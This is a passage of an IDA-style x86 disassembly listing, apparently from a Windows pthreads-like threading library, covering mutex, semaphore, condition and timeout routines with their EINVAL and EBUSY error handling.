		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432801
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432801
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432754
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432754
		cmp	eax, 10h
		jnz	loc_432806


loc_432754:				; CODE XREF: ___:0043273Cj
					; ___:00432749j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432801
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432806
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432799
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432806
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: ___:00432784j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4327E9
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4327B6
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4327B6:				; CODE XREF: ___:004327A5j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4327F4
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_4327DB
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4327DB:				; CODE XREF: ___:004327CBj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_4327EE


loc_4327E9:				; CODE XREF: ___:0043279Ej
		mov	edi, 10h


loc_4327EE:				; CODE XREF: ___:004327E7j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4327F4:				; CODE XREF: ___:004327BBj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432801:				; CODE XREF: ___:00432729j
					; ___:00432733j ...
		mov	eax, 16h


loc_432806:				; CODE XREF: ___:0043274Ej
					; ___:0043276Ej ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432850:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432867
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_432867:				; CODE XREF: ___:0043285Fj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432890:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328B7
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_4328B7
		cmp	eax, 2
		jbe	short loc_4328B7
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328B7:				; CODE XREF: ___:0043289Fj
					; ___:004328A7j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328D0:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432916
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432916
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432916
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432916
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432916:				; CODE XREF: ___:004328E2j
					; ___:004328EAj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432980:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432999
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432999:				; CODE XREF: ___:00432990j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4329AD
		cmp	eax, 1
		jz	short loc_4329AD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AD:				; CODE XREF: ___:0043299Fj
					; ___:004329A4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4329D0:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4329F5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4329F5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4329F5:				; CODE XREF: ___:004329E0j
					; ___:004329E8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A10	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432A55
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_432A50
		cmp	eax, 2
		jg	short loc_432A50
		test	eax, eax
		jz	short loc_432A3C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A3C:				; CODE XREF: sub_432A10+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A50:				; CODE XREF: sub_432A10+1Aj
					; sub_432A10+1Fj
		mov	eax, 16h


loc_432A55:				; CODE XREF: sub_432A10+12j
		pop	esi
		retn
sub_432A10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A80	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432B25
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432B25
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432AC0
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432AC0
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432AD2
; ---------------------------------------------------------------------------


loc_432AC0:				; CODE XREF: sub_432A80+2Fj
					; sub_432A80+34j
		cmp	esi, 0Fh
		jge	short loc_432AD2
		cmp	esi, 2
		jle	short loc_432AD2
		mov	[esp+8+arg_8], 2


loc_432AD2:				; CODE XREF: sub_432A80+3Ej
					; sub_432A80+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432B1E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 2780550h
		test	eax, eax
		jnz	short loc_432B12
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B12:				; CODE XREF: sub_432A80+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432B1E:				; CODE XREF: sub_432A80+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B25:				; CODE XREF: sub_432A80+19j
					; sub_432A80+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_432A80	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B99
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B94
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B94
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B94:				; CODE XREF: sub_432B60+1Bj
					; sub_432B60+23j
		mov	eax, 16h


loc_432B99:				; CODE XREF: sub_432B60+12j
		pop	esi
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432BC3
		cmp	eax, 2
		jg	short loc_432BC3
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432BC3:				; CODE XREF: sub_432BB0+6j
					; sub_432BB0+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432C03
		cmp	eax, 2
		jg	short loc_432C03
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432C03:				; CODE XREF: sub_432BF0+6j
					; sub_432BF0+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 27804E2h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	200h
		call	near ptr 27C0000h
		nop
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 27F08BCh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432C8E
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C8E:				; CODE XREF: ___:00432C7Bj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CC0:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432D05
		nop
		call	near ptr 27804E2h
		cmp	esi, eax
		jz	short loc_432D05
		push	esi
		push	0
		push	400h
		call	near ptr 27C0000h
		nop
		test	eax, eax
		jnz	short loc_432D05
		call	near ptr 27F08BCh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D05:				; CODE XREF: ___:00432CC7j
					; ___:00432CD1j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D30:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 2870000h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D50	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432D6F
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D6F:				; CODE XREF: sub_432D50+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432D87
		mov	edi, 0Ch


loc_432D87:				; CODE XREF: sub_432D50+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2780000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432DB4
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB4:				; CODE XREF: sub_432D50+4Fj
		test	edi, edi
		jz	short loc_432DC6
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DC6:				; CODE XREF: sub_432D50+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432D50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E10	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432E35
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432E35
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 28709F4h
		test	eax, eax
		jnz	short loc_432E47
		mov	[edi], esi


loc_432E35:				; CODE XREF: sub_432E10+8j
					; sub_432E10+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E47:				; CODE XREF: sub_432E10+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E80	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432EB3
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432EB3
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27A0C8Bh
		cmp	eax, 102h
		jnz	short loc_432EC5
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EB3:				; CODE XREF: sub_432E80+7j
					; sub_432E80+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EC5:				; CODE XREF: sub_432E80+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432EF0	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432F1D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432F1D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C3A6E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432F1D:				; CODE XREF: sub_432EF0+7j
					; sub_432EF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432EF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432F60	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432F83
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432F83:				; CODE XREF: sub_432F60+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F92
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432FF1
; ---------------------------------------------------------------------------


loc_432F92:				; CODE XREF: sub_432F60+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432FF1
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432FF1
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432FF1
		dec	ebx


loc_432FF1:				; CODE XREF: sub_432F60+30j
					; sub_432F60+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432F60	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C2AEE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433070	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_43308F
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43308F
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2770C62h
		nop
		test	eax, eax
		jnz	short loc_43309F


loc_43308F:				; CODE XREF: sub_433070+6j
					; sub_433070+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43309F:				; CODE XREF: sub_433070+1Dj
		xor	eax, eax
		retn
sub_433070	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4330C0	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4330E6
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4330E6
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_4330E6
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2770C62h
		test	eax, eax
		jnz	short loc_4330F6


loc_4330E6:				; CODE XREF: sub_4330C0+6j
					; sub_4330C0+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4330F6:				; CODE XREF: sub_4330C0+24j
		xor	eax, eax
		retn
sub_4330C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433110:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_43315D
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_43315D
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_43315D
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27A0C8Bh
		cmp	eax, 102h
		jnz	short loc_433141
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433141:				; CODE XREF: ___:00433138j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2770C62h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43315D:				; CODE XREF: ___:00433118j
					; ___:0043311Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433190:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00402013j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331D0:				; CODE XREF: ___:00401CB2j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331F0	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433224
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433224:				; CODE XREF: sub_4331F0+17j
		test	eax, eax
		jnz	short loc_43322D
		mov	esi, 16h


loc_43322D:				; CODE XREF: sub_4331F0+36j
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_4331F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433260	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_43327E
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43327E:				; CODE XREF: sub_433260+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_4332B9
		mov	[esp+14h+var_4], 1


loc_43329B:				; CODE XREF: sub_433260+5Ej
					; sub_433260+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4332D0
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332B9:				; CODE XREF: sub_433260+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43329B
		cmp	ebx, 1
		jnz	short loc_43329B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332D0:				; CODE XREF: sub_433260+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_4332ED
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332ED:				; CODE XREF: sub_433260+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433323
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433323
		mov	dword ptr [esi], 3


loc_433323:				; CODE XREF: sub_433260+9Ej
					; sub_433260+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43333F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43333F:				; CODE XREF: sub_433260+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_433260	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333A0:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_433445
		mov	esi, [edi]
		test	esi, esi
		jz	loc_433445
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433408
		cmp	dword ptr [esi], 3
		jnz	short loc_4333ED
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43343F


